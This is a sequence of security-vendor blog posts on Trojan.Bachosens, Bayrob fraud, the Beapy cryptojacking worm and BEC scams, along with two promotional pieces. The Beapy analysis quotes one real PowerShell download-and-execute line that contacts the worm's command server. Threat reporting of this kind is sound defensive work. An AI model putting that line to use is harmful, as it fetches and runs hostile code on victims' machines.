A lone wolf cyber attacker is carrying out cyber attacks against large organizations for relatively modest rewards.
In attacks reminiscent of the early days of malware, a lone wolf threat actor who appears to be based in a disputed part of eastern Moldova is using advanced malware to carry out cyber attacks against large organizations for relatively modest rewards. The malware in question, Trojan.Bachosens, was so advanced that Symantec analysts initially thought they were looking at the work of nation-state actors. However, further investigation revealed a 2017 equivalent of the hobbyist hackers of the 1990s—the only difference being this hacker wasn’t out for bragging rights. He was out for financial reward.
Big weapon, small rewards
This lone wolf attacker—who we call Igor—is not an average cyber criminal with the aim of infecting as many victims as possible. Rather, he has been carrying out highly targeted attacks on specific organizations.
Igor developed a specialized tool, a piece of malware called Bachosens, to gain access to at least two large organizations, an international airline and a Chinese auto-tech company. Symantec believes that Igor planted the malware through the use of spear-phishing emails, a tactic typically employed by nation-state actors.
Igor targeted the auto-tech company in order to steal car diagnostics software. This software retails for approximately $1,100 through legitimate channels. Igor is selling it for just a few hundred dollars on underground forums and websites he has created expressly for this purpose. Considering the audacity of this attack, the financial rewards for Igor are pretty low.
There are indications that Igor has been active for quite some time. Symantec first identified the use of Bachosens in 2014. However, the auto-tech company targeted by Igor issued an alert as far back as 2009 about its software being sold by an unauthorized reseller. Symantec was able to confirm links between the domains mentioned in this alert and Igor, indicating he has been active for almost 10 years.
Symantec researchers’ analysis of Igor’s activities allowed us to gain an insight into his methods and areas of focus. Based on publicly available information, Symantec was able to find likely connections between Igor and an auto parts store located in Transnistria, a disputed territory in Moldova. His involvement in the automotive industry could explain why he showed an interest in targeting the auto-tech company.
Figure 1. The disputed republic of Transnistria, and its capital Tiraspol, is located in eastern Moldova, on the border with Ukraine
While the targeting of the Chinese auto-tech company with this malware seems to have an obvious aim—to steal software with the aim of selling it and making money—Symantec also saw some activity that is harder to explain.
The Bachosens Trojan was also found on a number of systems in a large commercial airline, however, the motive for this attack is unclear at this time. Symantec is confident that this malware is only being used by Igor. Our evidence also shows that Igor’s campaigns are highly targeted, therefore it’s unlikely that this infection was accidental.
There is also evidence Igor attempted to infect an online gambling organization. He used targeted spear-phishing emails with an attachment containing malicious macros in this infection attempt, which was ultimately unsuccessful.
This is an attacker who is made up of contradictions: he uses well-developed malware, but makes some basic operational mistakes that allowed Symantec researchers to uncover a lot about his activities.
High-level malware, low-level mistakes
As previously mentioned, this malware is highly sophisticated, displaying a technical competency similar to that seen in malware used by nation-state actors, indicating that its developer has a high level of skill.
It is possible Igor purchased this malware from another developer, however, as no one else has been observed online using it, Symantec researchers believe this is unlikely, and believe that Igor developed this malware himself.
Elements of this attack that make it stand out from the ordinary include the use of rarely used covert communication channels, such as DNS, ICMP, and HTTP, to communicate with the command and control (C&C) server. The attacker also encrypts the victim’s information before it is transmitted to the C&C server, with the malware programmed to create a set of ephemeral AES keys to encrypt the data before sending it.
He also sends these communications over IPv6, which can make them harder to detect than if sent over IPv4.
Igor also uses dynamic DNS (DDNS) and domain generation algorithms (DGA). DGA is used to generate a prefix, which is added to a DDNS controlled root domain to form the C&C server.
Figure 2. How the C&C is created
Oddly, while malware that uses DGA normally creates hundreds of domains at a time—with the aim being to make it more difficult for the malware to be detected—this attacker only created 13 domains using DGA over the course of an entire year. One domain was valid for the entire year, with one new domain created each month. Creating such a small number of domains essentially defeats the purpose of using DGA, as it would only allow the attacker to avoid the most basic cyber defenses.
This unusual use of DGA is just one of the parts of Igor’s operations that demonstrates a lack of polish, and shows an interesting contradiction between the advanced level of the malware and the rather unpolished way in which it is used.
Figure 3. The 13 domains used by the attacker in 2016
Igor submitted malware samples to Virus Total to test the detection capabilities of defenders, and used development names (such as mod_exe and mod_dll) in the submission, which would draw attention to it. It is known that malicious hackers often use Virus Total, a tool that analyzes URLs and files to detect malware, to test the malware they are developing. Using development file names indicates that a piece of malware is a work in progress and is more likely to draw the attention of investigators.
The malware was also found packaged with computer games, which is not generally something that would be seen in advanced attacks. In fact, Symantec researchers first realized that this malware was unlikely to be the work of a nation state or sophisticated cyber attacker when they found it packaged with an online video game.
Igor also used an unobfuscated keylogger, something professional cyber attackers are very unlikely to do. He also posted personal information on publicly accessible auto forums where he was attempting to sell the stolen software, exposing himself as a likely perpetrator.
These various missteps indicate that while Igor may be talented enough to create highly advanced malware, he lacks the expertise of more professional cyber attackers.
What do we know about this attacker?
Symantec researchers’ investigations have turned up quite a lot of information about this cyber attacker.
Symantec believes he may be based in the town of Tiraspol in eastern Moldova. Officially, Tiraspol is the second-largest city in Moldova, but it is also the capital of the self-declared republic of Transnistria, which is not recognized as an independent state by the UN.
The dominant language in Transnistria is Russian, and there were Russian strings used in the Bachosens malware, and communication with the C&C server uses what appears to be the Russian equivalents of size suffixes for KB, MB, GB, and TB. This had indicated to researchers that the individual behind this malware was likely Russian speaking.
The level of information the attacker knowingly or negligently revealed about himself online gave us high confidence that he is an individual involved in the auto industry who is based in this part of Eastern Europe.
His likely location in Tiraspol may also explain why he appears to have such modest aims when it comes to the gains he seems to be making from cyber crime. Although it is hard to get official data given it is a disputed territory, the average monthly salary in Transnistria has been reported as being as little as a few hundred euro. In that context, selling stolen software online for a few hundred euro could represent quite the windfall for an individual based in that part of the world.
Petty cyber crime still exists
While we have gleaned a lot of information about this attack, much of this attacker’s activity remains a mystery, such as the motivations behind some of his activity, and where he may have acquired the skills to create such sophisticated malware, while clearly demonstrating lack of expertise in other areas.
However, this activity does show us that while nation-state actors and organized cyber crime gangs carrying off big heists may be what grabs headlines, there are still lone wolf attackers out there making a comfortable living from cyber crime.
Protection
Symantec and Norton products have the following detections in place for the threats called out in this blog:
Trojan.Bachosens
For a technical analysis of the details of this investigation, please read our analyst’s blog on Medium.
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Battening Down Insecure Mobile Access: No Longer Optional
Don’t assume that data access points are safe by default. We live in a world where mobile threat protection can’t remain a back-burner issue
Mobile has proven to be the fastest growing – and in some places, dominant – form of network access.
So why are we still talking about insecure WiFi networks?
As we’ve seen with the deployment of so many tech innovations, convenience has yet again trumped security. While mobile traffic has mushroomed, security remains the proverbial work in progress.
In 2016 Symantec detected 18.4 million mobile malware attacks, more than double the number of attacks we uncovered in 2015.
That soaring threat is why Symantec bought Skycure last year. It's the most comprehensive mobile security suite in the business. WPA2 Security used to be “it,” but nothing is unhackable now. It’s crazy. We are seeing enormous interest in the mobile threat protection and thus are integrating Skycure into our endpoint protection suite as Symantec Endpoint Protection (SEP) Mobile.
Free Wifi pops up everywhere. People assume that wherever they go, they’re going to be able to connect. But they don’t necessarily understand the repercussions. Are those access points attempting to decrypt traffic? That’s something SEP Mobile can easily detect.
SEP Mobile does a number of things. It uses crowd-sourced intelligence to work at both the cloud and device level. It monitors apps, protocols and OS vulnerabilities across the network. It also gives you the ability to determine whether or not a WiFi network is secure before you connect to it in the first place.
One of the best things about SEP Mobile is that it doesn’t require much intervention by the IT department. Users download the program onto their phones from Google Play or Apple's App Store and sign in with their companies' credentials. And that's it. They're protected. We think it's the easiest and most powerful solution out there.
The second company Symantec bought recently is Fireglass – it’s now called Symantec Web Isolation. If you’re on your PC and you go to a website, some sites may be malicious. Wouldn’t it be great if you could view those sites from behind a “protective pane of glass”? Symantec’s Web Isolation lets you do exactly that.
If you go to a URL that’s unsafe, Web Isolation will render a JPEG image of the site back to your machine. Since it renders an image of the site, the actual code from the web site never gets on your machine. It’s an innovative solution that lets you browse and do whatever you want without incurring any risk of active content ever landing on your machine. Commonly encountered files that would normally open on your machine in Adobe Reader or Excel, for instance, would also open in the Symantec Web Isolation environment.
Web Isolation also tracks internet addresses to assure that users see only read-only versions of counterfeit websites they might be led to through phishing scams. In the end, it lets people see what they need to see without being victimized. Depending on your needs, it can run on-premises or in the cloud.
Everyone needs protections like these. People tend to think of these problems as remote and often shrug off credit-card breaches since they won’t be liable for any charges. But with more of our personal data out there, the leakage of names can cause all kinds of problems.
For instance, a woman called me recently and wanted to know why I’d charged her credit card $500. She said that the money had been charged by my PayPal account. I do use PayPal but hadn’t charged her a penny. My concern was that someone has created a fake account in my name and used it to scam people.
When you connect to a wireless network there are certain things you don’t want disclosed. So, consider carefully how you connect and where you connect. The same applies to how you share and what you share. Above all, consider protecting yourself and your organization with mobile threat protection and web isolation.
After all, you don’t want to end up owing $25,000 for a car that you didn’t buy.
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Bay Dynamics: Becoming an Elite Partner in Symantec’s Technology Partner Program
What It Means to Us and Our Customers
When Bay Dynamics was offered a chance to join the Symantec Technology Integration Partner Program (TIPP) as an Elite partner, we jumped at the offer. We’ve long partnered with Symantec on our Risk Fabric analytics platform, which gives businesses a central point of behavioral analytics to help protect and defend their data from malicious attacks. With our participation in TIPP, we knew we’d be getting a way to automate access to Symantec’s wide range of cyber security products and data streams – and ultimately keep our customers even safer.
One of Symantec’s strengths has always been its broad product portfolio, utilizing their Integrated Cyber Defense platform which includes: Data Loss Prevention (DLP), Cloud Security, Endpoint Security, Encryption Solutions and more. TIPP makes it easy for us to leverage security data and telemetry from all of Symantec’s solutions in a single stream. We don’t have to work with individual APIs or separate teams to get access to it.
As Peter Doggart, Symantec's VP of Business Development explains about TIPP, "While many partner programs exist today, we have decided to focus on the technical integration aspect of partnership. This is the single most important aspect of making a difference in security. By working to integrate our data feeds, linking together our defensive platforms, leveraging each other’s advanced detection suites, automating workflows to increase productivity, only then can we make a real impact."
TIPP’s integrated approach offers us a flexible configuration that makes it easy to take advantage of Symantec’s solutions. When new data streams become available, we have to do very little work to assimilate them – they just show up. That means our customers immediately get to put it to work in their own use cases. They get more control over building their analytics, and more knobs and levers so they can tailor it to their unique needs.
With TIPP our engineers don’t have to spend nearly as much time integrating our products with Symantec’s portfolio. It’s now essentially automated. So the level of effort required for us to create compelling use cases with network data, for example, has been effectively cut in half. We can reinvest our engineers’ time into building new capabilities and taking advantage of new Symantec data such as unique information that becomes available in Symantec’s Endpoint Protection. TIPP has also given us access to new data streams that we otherwise wouldn’t have access to. And it’s reduced our cost of doing and supporting integration, so we can concentrate on innovation
We leverage cyber security analytics to find the most timely and relevant threats to enterprises. With TIPP, we get access to new data coming out of Symantec products faster, which allows us to bring more analytic value to end users more quickly. We also now have a flexible pool of data we can query. That helps us build a platform that lets enterprises customize their own models to suit their needs rather than rely on prebuilt ones. Because of that, we’re providing more value to our customers, which ultimately makes us more competitive and helps us better attract new clients and retain existing ones.
We’re committed to working closely with Symantec to help enterprises protect and defend their data from cyber attacks. TIPP, by bringing the power of Symantec’s entire portfolio into one easy-to-access stream, makes that far easier to do.
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Bayrob: Three suspects extradited to face charges in US
Fraud operation conned victims out of millions of dollars.
Three Romanian men have been indicted in the US for allegedly operating a longstanding fraud operation known as Bayrob that conned victims out of millions of dollars. Bogdan Nicolescu (aka “Masterfraud”, aka “mf”); Danet Tiberiu (aka “Amightysa”, aka “amy”); and Radu Miclaus (aka “Minolta”, aka “min”) were arrested by police in Romania earlier this year before being extradited to the US, where they now face multiple charges relating to fraud, identity theft, money laundering, and trafficking in counterfeit goods or services.
Our research shows that the Bayrob gang are career cybercriminals, earning a living from online fraud. They specialize in detailed scams and go to great lengths to craft convincing emails and create fake websites, voice messages, and even customer support chatrooms in order to dupe victims.
The gang began its career running elaborate cons where it created fake vehicle auctions to defraud victims out of tens of thousands of dollars. It later expanded and diversified with a number of different fraud and malware operations, ranging from credit card theft to cryptocurrency mining using infected computers.
The FBI believes that the Bayrob group has stolen at least US$4 million from victims over the past eight years, though the actual total may be up to $35 million. It also established that the group infected between 60,000 and 160,000 computers and sent out 11 million malicious emails.
The arrests are the culmination of an eight-year law enforcement investigation which was assisted by Symantec. During this time, Symantec discovered multiple versions of Bayrob malware, collected helpful intelligence data, and witnessed Bayrob as it morphed from online fraud to a 300,000+ botnet for cryptocurrency mining.
Symantec succeeded in exposing the gang’s operations, gaining insight into its key players, tactics, malware, and the potential impact and criminal activity undertaken.
Elaborate car auction scams
Bayrob first came to our attention in 2007, when it was discovered operating a scam that conned victims into believing they were buying a vehicle on eBay. Victims’ computers were infected with custom designed malware (Trojan.Bayrob) which displayed fake eBay web pages and misled users into thinking they were conducting a legitimate purchase on the auction site.
The gang identified potential victims by listing vehicles for sale on a number of websites, including eBay and classified advertising websites. It noted anyone who displayed an interest in the sale, such as those who asked questions or put a bid on the vehicle. The gang would then pretend that the sale had concluded but later email potential victims, informing them that the sale had fallen through and asking if they were still interested.
Attached to these emails was a slideshow file, containing pictures of the vehicle supposedly on sale. This file was infected with Trojan.Bayrob. If the victim opened it, the malware was installed on their computer.
Figure 1. Slideshow files with pictures of the vehicle supposedly on sale were infected with the Bayrob Trojan
Once the attackers verified that the Bayrob Trojan was running on a victim’s computer, they moved on to the next stage of the scam by sending an email with what they claimed was a link to a new auction for the vehicle. It was at this point that the Trojan came into play. If the victim clicked on the link, it would redirect them to a fake eBay page. If they decided to buy the vehicle, they were asked to pay by way of a bank transfer, which was routed to an account that belonged to a money mule, who would in turn transfer the proceeds of the fraud to the gang.
From the victim’s standpoint it appeared they were visiting a real eBay auction. However, if the link was followed from an uninfected computer, there would be no such auction. The gang went to great lengths to make the scam appear realistic. Its emails were composed in fluent English and every iteration of the Bayrob Trojan was customized for its intended victim. The fake eBay web pages even included fictitious feedback about the seller. The Trojan was also capable of generating fake vehicle history reports, along with fake pages from escrow and delivery services.
The fraud had a major impact on its victims, who often transferred thousands of dollars thinking they were paying for a new car and ended up with nothing.
Exposure and expansion
Bayrob’s activities were initially exposed by Symantec in 2007, when we published a series of blogs highlighting the eBay scam, and several media outlets reported on their activities. The gang reacted angrily and, for a while, registered command and control (C&C) domain names that contained abusive references to our researchers and made disparaging references to Symantec in its code.
Figure 2. One of the more polite references to Symantec made by the gang in its code
However, public attention didn’t deter the gang from further expanding and refining its operations. For example, they created a fake trucking company, which was used to supposedly transport purchased vehicles to their victims. The trucking company would first inform the victim their vehicle was on the way and then later email them informing them of delays. It even operated a phone line and fake voicemail service to appear more convincing. The whole purpose of the fake trucking company was to string the victim along for as long as possible in order to make sure the gang received the money before the victim realized they’d been conned.
Figure 3. The gang set up fake trucking companies to string the victim along for longer and make them believe their vehicle had been shipped
Network of money mules
In order to move the proceeds of its scams back to Romania, the gang recruited a wide network of money mules. It found potential mules by spamming classified advertising websites with fake job ads. Rather than the usual cybercriminal tactic of using “work from home” ads, the Bayrob gang often copied legitimate job ads in order appear more convincing. Those who responded were told that the job had been filled but were then offered an alternative, work from home job.
As with its other operations, money mule recruitment was professionally executed and backed up by a series of fake websites and convincing looking emails, such as one purporting to offer the recipient a job with a technology company. Some victims were even told they’d gotten a job with a fake Yahoo subsidiary called Yahoo Transfers.
Figure 4. Some money mules were told they’d gotten a job with a fake Yahoo subsidiary
Given that they would be handling the gang’s stolen money, mules were thoroughly vetted during recruitment, using Google searches, instant messaging, and VoIP calls. The group recruited mules on both sides of the Atlantic. Victims in the US were instructed to route payments to a bank account controlled by a mule in the US. These in turn were asked to transfer the money to another mule, usually in an Eastern European country. They would then presumably transfer the money on to gang members.
Mules in the US were often vulnerable people in difficult circumstances. They appeared to be unwitting pawns of the gang, unaware of what they’d become involved with. Less is known about the money mules used in Europe, but most appeared to collect transferred funds using fake identities, indicating they may have been more complicit in the gang’s activities.
Mules in the US were given two options for payment. They could keep six percent of the funds they transferred or they could send the entire amount and later receive a check for 10 percent of the total. The latter option was a scam and nobody who opted for it received any payment from the gang. Despite putting these money mules at risk of arrest and prosecution, the gang had no qualms about double-crossing them and stealing from them too.
Diversification of operations
Over time, the Bayrob gang expanded beyond its original auction fraud and into other areas of cybercrime. The group began stealing credit card information from the users of infected computers, using the stolen cards to finance the purchase of online infrastructure and services that allowed it to grow its operations.
In recent years, the gang has concentrated on rapidly growing the number of infected computers in order to build a botnet. When it was exclusively involved in auction fraud, the number of infected computers was around 1,000 at any one time. However, by 2014 it had jumped to approximately 50,000 and by mid-2016 it had grown to over 300,000 and continued to grow.
One of the main purposes of this botnet appeared to be cryptocurrency mining. A large number of infected computers provided the gang with the necessary processing power to profit significantly from mining.
Breakthrough in the investigation
Since 2011, Symantec has managed to progressively uncover the gang’s network, gaining a broad picture of its operations. The information generated by our investigation not only helped us to improve our protections against the group’s malware, but also allowed us to prevent future attacks and warn potential victims. What we learned assisted the FBI in its investigation and we opted not to publish what we discovered in recent years until the FBI investigation was concluded.
Bayrob employed a high degree of internal security. Their online communications involved extensive use of encryption, with email encrypted using PGP and instant messaging encrypted with the Off-The-Record (OTR) messaging protocol.
In order to cover its tracks, the gang hid behind a double layer of proxies, connecting first to proxies in Romania and then to more proxies in the US. One of our most significant breakthroughs came when we discovered a weak point in their use of these proxies. Due to this weakness, the gang's malicious activities were exposed, allowing us to passively observe its activities on computers Symantec was protecting.
Our investigation required time and patience. In one case, we observed the gang’s malicious activities for a year and a half before it made an error that exposed one of its suspected members. Over time we came to understand the group’s infrastructure which helped us to get see more of the gang’s operations.
Symantec’s pursuit of Bayrob is one of many long-standing investigations we currently have underway, all of which are motivated by a desire to protect our customers. Today’s arrests illustrate the value of effective co-operation between security companies and law enforcement and sends a clear signal to international cybercrime gangs that they are not beyond the reach of the justice system.
Protection
Symantec products use multiple layers over protection against Bayrob’s malware. Protection has been continuously updated since 2007 to block against each new iteration of the group’s malware.
Symantec and Norton products block Bayrob malware with the following detections:
Antivirus
Trojan.Bayrob
Trojan.Bayrob!gen1
Trojan.Bayrob!gen2
Trojan.Bayrob!gen4
Trojan.Bayrob!gen5
Trojan.Bayrob!gen6
Trojan.Bayrob!gen7
Intrusion prevention system
System Infected: Trojan Bayrob Activity 2
System Infected: Trojan Bayrob Activity 6
System Infected: Trojan.Bayrob Activity 7
System Infected: Trojan.Bayrob Activity 8
System Infected: Trojan.Bayrob Controller
System Infected: Trojan.Bayrob Request
In addition to this, a range of Symantec generic detections also successfully block Bayrob malware. The addition of generic detections to our defense layer makes it more difficult for attackers to identify which detections are designed to specifically block their malware, making it hard to test against them.
Further information
Symantec has gathered full technical details and indicators of compromise for all Bayrob malware variants discovered since 2007. This can be supplied to any member of the information security community upon request.
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Beapy: Cryptojacking Worm Hits Enterprises in China
Cryptojacking campaign we have dubbed Beapy is exploiting the EternalBlue exploit and primarily impacting enterprises in China.
Beapy is a cryptojacking campaign impacting enterprises that uses the EternalBlue exploit and stolen and hardcoded credentials to spread rapidly across networks. Beapy activity was first seen in Symantec telemetry in January 2019. This activity has also been seen on web servers and has been increasing since the beginning of March.
Beapy (W32.Beapy) is a file-based coinminer that uses email as an initial infection vector. This campaign demonstrates that while cryptojacking has declined in popularity with cyber criminals since its peak at the start of 2018, it is still a focus for some of them, with enterprises now their primary target.
Almost all of Beapy’s victims are enterprises (Figure 1). Beapy may indicate a continuation of a trend demonstrated by the Bluwimps worm (MSH.Bluwimps) in 2018 and which we mentioned in ISTR 24—an increased focus by cryptojacking criminals on enterprises. While we have no evidence these attacks are targeted, Beapy’s wormlike capabilities indicate that it was probably always intended to spread throughout enterprise networks.
Figure 1. Enterprise vs consumer infections of Beapy
This mirrors a trend we saw in ransomware in 2018 too when, despite a drop in overall ransomware infections of 20 percent, ransomware infections in enterprises increased by 12 percent. Enterprises appear to be an increasing focus for cyber criminals.
Beapy is most heavily affecting enterprises in Asia, with more than 80 percent of its victims located in China, with other victims in South Korea, Japan, and Vietnam.
Figure 2. Beapy infections by region
Infection chain
Malicious emails are the initial vector for at least some Beapy infections. A malicious Excel document is delivered to victims as an email attachment. If the email recipient opens the malicious attachment, the DoublePulsar backdoor (Backdoor.Doublepulsar) is downloaded onto the target machine. DoublePulsar, like EternalBlue, was leaked in the Shadow Brokers dump and was also used in the destructive WannaCry ransomware attack in 2017. DoublePulsar opens a backdoor on infected machines and allows for remote code execution on compromised computers. EternalBlue exploits a vulnerability in the Windows SMB protocol to allow files to spread laterally across networks.
Once DoublePulsar is installed, a PowerShell command is executed, and contact is made with the Beapy command and control (C&C) server, before a coinminer is downloaded onto the target computer. If we look at one example of a machine in Symantec telemetry, we see the earliest signs of suspicious activity on February 15, 2019, when the DoublePulsar backdoor is detected. We then see a PowerShell command being launched, which decodes to the following:
IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)
This is the device contacting the Beapy C&C server. Some more PowerShell commands are executed and then a Monero coinminer is downloaded. This process is repeated as Beapy spreads to other computers on the network.
Beapy appears to use unpatched machines to get a foothold on the network, and then uses EternalBlue to spread to other machines. However, EternalBlue isn’t Beapy’s only propagation technique, and it also uses the credential-stealing tool Hacktool.Mimikatz to attempt to collect credentials from infected computers. It can use those to spread to even patched machines on the network. Beapy also uses a hardcoded list of usernames and passwords to attempt to spread across networks. This is similar to how the Bluwimps worm operated. Bluwimps infected thousands of enterprise machines with coinminers in 2017 and 2018.
Web servers
Symantec telemetry also found an earlier version of Beapy on a public-facing web server, with the worm then attempting to spread to computers connected to that server. One of the ways it appears to do this is by generating a list of IP addresses it attempts to infect.
The version of Beapy seen on the web server is an early version of the malware, coded in C rather than Python, like later versions. However, the activity is similar, with the downloaded malware also containing Mimikatz modules for credential harvesting, as well as EternalBlue exploit capabilities.
In the web server compromise, Beapy also attempted to exploit an Apache Struts vulnerability (CVE-2017-5638). This vulnerability was patched in 2017, but if successfully exploited it can allow for remote code execution. Beapy also tried to exploit known vulnerabilities in Apache Tomcat (CVE-2017-12615) and the Oracle WebLogic Server (CVE-2017-10271). In the case of this web server compromise observed by Symantec, exploit attempts began in early February, with connections to Beapy’s C&C server first observed on March 13. Activity targeting this web server continued until early April.
In general, Beapy activity has been increasing since the beginning of March.
Figure 3. A sharp increase in Beapy detections is clearly visible
What does Beapy’s activity tell us?
Despite the drop in cryptojacking activity in 2018, when there was a 52 percent drop in cryptojacking, this is still an area of interest for cyber criminals. Looking at the overall figures for cryptojacking, we can see that there were just under 3 million cryptojacking attempts in March 2019. While a big drop from the peak of February 2018, when there were 8 million cryptojacking attempts, it is still a significant figure.
Figure 4. Cryptojacking activity, January 2018 to March 2019
Beapy is a file-based coinminer, which is interesting as most of the cryptojacking activity we saw at the height of its popularity was carried out using browser-based coinminers, which were popular due to lower barriers to entry and because they allowed even fully patched machines to be targeted. The announcement that the Coinhive coin-mining service, which was launched in September 2017 and played a key role in the growth of cryptojacking, was closing down also probably contributed to the fall in browser-based cryptojacking. The service, which made it a lot easier for anyone to carry out browser-based coin mining, ceased operations at the start of March. The shuttering of this service is likely to have a dramatic impact on browser-based cryptojacking.
As well as these factors, file-based coinminers also have a significant advantage over browser-based coinminers because they can mine cryptocurrency faster. The Monero cryptocurrency, which is the cryptocurrency most commonly mined during cryptojacking attacks, dropped in value by 90 percent in 2018, so it may make sense that miners that can create more cryptocurrency faster are now more popular with cyber criminals.
Figure 5. Comparing profitability of browser-based and file-based coin-mining botnets
Effects of cryptojacking on enterprises
While enterprises might think they don’t need to worry about cryptojacking as much as more disruptive threats such as ransomware, it could still have a major impact on the company’s operations.
Potential impacts of cryptojacking for businesses include:
A slowdown in devices’ performance, potentially leading to employee frustration and a reduction in productivity
Overheating batteries
Devices becoming degraded and unusable, leading to higher IT costs
Increased costs due to increased electricity usage, and for businesses operating in the cloud that are billed based on CPU usage
Enterprises need to ensure their networks are protected from the whole range of cyber security threats.
Mitigation
Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point failures in any specific technology or protection method. This includes deployment of endpoint, email, and web gateway protection technologies as well as firewalls and vulnerability assessment solutions. Always keep these security solutions up to date with the latest protection capabilities.
Educate anyone using your device or network and urge them to exercise caution around emails from unfamiliar sources and around opening attachments that haven’t been solicited, which may contain file-based coin-mining malware.
Educate employees about the signs that indicate their computer may have a coinminer and instruct them to inform IT immediately if they think there may be a coinminer on a device that is on the company network.
Monitor battery usage on your device and, if you notice a suspicious spike in usage, scan it for the presence of any file-based miners.
Install the latest patches on your devices, use strong passwords and enable two-factor authentication.
Protection
Symantec has the following protection in place to protect customers against these kinds of attacks:
W32.Beapy
Hacktool.Mimikatz
MSH.Bluwimps
Backdoor.Doublepulsar
Symantec Email Security.cloud technology blocks email spreading this threat using advanced heuristics.
Further Reading
For more information about cryptojacking, read our whitepaper:
Cryptojacking: A Modern Cash Cow
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Cryptojacking: A Modern Cash Cow
Cryptojacking shook up the cyber security landscape in 2017 and 2018. We take an in-depth look at this cyber crime trend.
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BEC Scams Remain a Billion-Dollar Enterprise, Targeting 6K Businesses Monthly
Symantec examines the latest trends and themes in BEC scams in the last 12 months.
Business email compromise (BEC) scams are not going away anytime soon. For such a relatively low-tech type of financial fraud, it has proved to be a high-yield and lucrative enterprise for scammers.
BEC scams—also known as email account compromise (EAC), CEO fraud, or whaling—have been around since at least 2013. Between October 2013 and May 2018, more than $12 billion in domestic and international losses were attributed by the FBI to BEC scams.
According to the FBI's latest Internet Crime Report (ICR), losses from BEC scams amounted to almost $1.3 billion in 2018. This is double the losses in 2017, which stood at $676 million.
Table 1. BEC-related victim losses and complaints received by IC3, 2014-2018
Year Victim count/complaints Victim losses
2014 1,495 $60,294,162
2015 7,837 $246,226,016
2016 12,005 $360,513,961
2017 15,690 $676,151,185
2018 20,373 $1,297,803,489
In 2018, the FBI's Internet Crime Complaint Center (IC3) also received 20,373 BEC-related complaints, which is up from 15,690 complaints in 2017. Aggregate losses from internet-enabled theft, fraud, and exploitation reached $2.7 billion in 2018, and losses from BEC scams accounted for almost one-half of this figure. The FBI also said in a July 2018 public service announcement that, based on the financial data, banks located in China and Hong Kong were the primary destinations of fraudulent funds, while financial institutions in the UK, Mexico, and Turkey were also prominent destinations.
The good news is that the IC3's Recovery Asset Team (RAT), which was formed in February 2018, has successfully recovered more than $192 million lost to BEC scams, representing a recovery rate of 75 percent. The RAT reportedly dealt with 1,061 incidents that caused losses of more than $257 million.
Given this dramatic rise in actual BEC-related losses as well as complaints, we wanted to examine BEC scams more closely. Is the number of BEC emails sent daily growing? How many businesses are targeted by BEC scams each month? Which regions are most targeted by these scams?
BEC statistics at a glance
Daily activity
According to Symantec telemetry, the average daily volume of BEC emails was significantly higher in the first quarter of this year than in the same period last year. From January to March 2018, the average daily BEC email volume was 85,816, while from January to March 2019, the average daily volume was 128,700—a 50 percent increase.
Figure 1. BEC average daily volume was 50 percent higher in Q1 2019 than Q1 2018
Average number of businesses targeted per month
We found that an average of 6,029 organizations were targeted by BEC emails per month during the last 12 months, from July 2018 through June 2019. BEC scams could have potentially affected this many businesses monthly were these attacks not blocked.
This indicates that BEC scammers have slightly reduced their targets, as an average of 6,089 businesses were targeted per month in the previous 12 months.
Average number of emails received per targeted business
We also found that businesses received an average of five BEC scam emails each month during the past 12 months. This means each business had a 17 percent chance of getting at least one BEC email per month. In the previous 12 months, an organization would have received an average of four BEC emails per month.
Top 10 victim regions
In which regions are these targeted businesses located? The top 10 regions targeted by BEC scammers in the last 12 months are led by the U.S. (39 percent), followed by the UK (26 percent), Australia (11 percent), Belgium (3 percent), Germany (3 percent), Canada (2 percent), the Netherlands (2 percent), Hong Kong (2 percent), Singapore (2 percent), and Japan (1 percent).
Figure 2. Top 10 BEC victim regions, July 2018 - June 2019
Top 10 BEC email subjects by country
One interesting metric we looked at was the most popular Subject lines used in BEC emails in the last 12 months and in which victim regions these were used. BEC scams targeted at the UK and the U.S. were mostly labeled "Important," while most BEC scams that hit Australia, Spain, France, and Germany had payment-related themes.
Table 2. Top 10 BEC email subjects by country, July 2018 - June 2019
Country Subject line Count
UK IMPORTANT 20,234
U.S. IMPORTANT 11,930
Australia PAYMENT 4,292
Japan YOUR RECEIPT FROM APPLE 3,513
Belgium RE: U HEEFT RECHT OP EEN LAGERE ENERGIEREKENING IN 2018 ! (YOU ARE ENTITLED TO A LOWER ENERGY BILL IN 2018 !) 3,308
Singapore CONFIDENTIAL 2,520
Spain NOTIFICATION OF PAYMENT RECEIVED 1,765
Canada URGENT 1,758
France PAYMENT DUE 8 DEC. 924
Germany PAYMENT 921
Top 10 BEC keywords
We also looked at the 10 most popular keywords used in BEC emails in the last 12 months. "Transaction request" topped the list with 39,368 instances observed, followed by "Important" (37,477) and "Urgent" (33,391). There were three iterations of "Payment" that rounded up the top 10, including "Outstanding payment" and "Notification of payment received."
Almost all of the keywords are meant to call the attention of the recipient or induce a sense of urgency with finance-related themes.
Figure 3. Top 10 BEC keywords, July 2018 - June 2019
Top 10 BEC sender domains
Email scammers have been known to use so-called cousin domains—for example "[email protected]" instead of "symantec.com". BEC scammers appear to have gone easy on these cousin domains in the last 12 months, and have gone back to using free web accounts and web mailers, such as gmail.com, yahoo.com, aol.com, and inbox.lv. Using and/or spoofing such legitimate domains also lends legitimacy to the scam.
Four popular email services—including Gmail, AOL, Yahoo! Mail, and Hotmail—are among the 10 top most abused domains from which BEC emails are sent, with Gmail and AOL bearing the brunt. What's most surprising here is that AOL, which experienced a sharp decline in subscribers back in 2007, apparently remains a top choice for BEC scammers.
Figure 4. Top 10 BEC sender domains, July 2018 - June 2019
BEC email themes
Let's take a closer look at the BEC emails themselves. We have noted recent changes in BEC message composition, with scammers building on previous ideas, getting more creative, and using newer themes, such as:
Requests to buy gift cards, both physical and electronic
Requests to update salary or direct deposit account details
Requests for personal/work cellular/landline number to provide further instructions
This observation aligns with that of the FBI's, as the IC3 report found that in 2018, there was an increase in the number of BEC complaints requesting victims purchase gift cards. According to the report, the victims received a spoofed email, call, or text from a person in authority requesting that the victim purchase multiple gift cards for either personal or business reasons.
Specifically, Symantec's Security Response team observed that the 10 most popular themes carried by BEC emails in the last 12 months include:
Apple iTunes gift cards (physical) to employees: The scammer requests the potential victim to buy Apple iTunes physical gift cards from a store. The scammer states that these cards will be distributed among employees of the same organization.
Figure 5. Sample email requesting victim to buy physical Apple iTunes gift cards
Apple iTunes e-gift cards to employees: The scammer requests the potential victim to buy Apple iTunes e-gift cards for employees.
Amazon gift cards: The scammer requests the potential victim to buy Amazon gift cards.
Generic gift cards for clients/partners: The scammer requests the potential victim to buy physical gift cards to be distributed to partners.
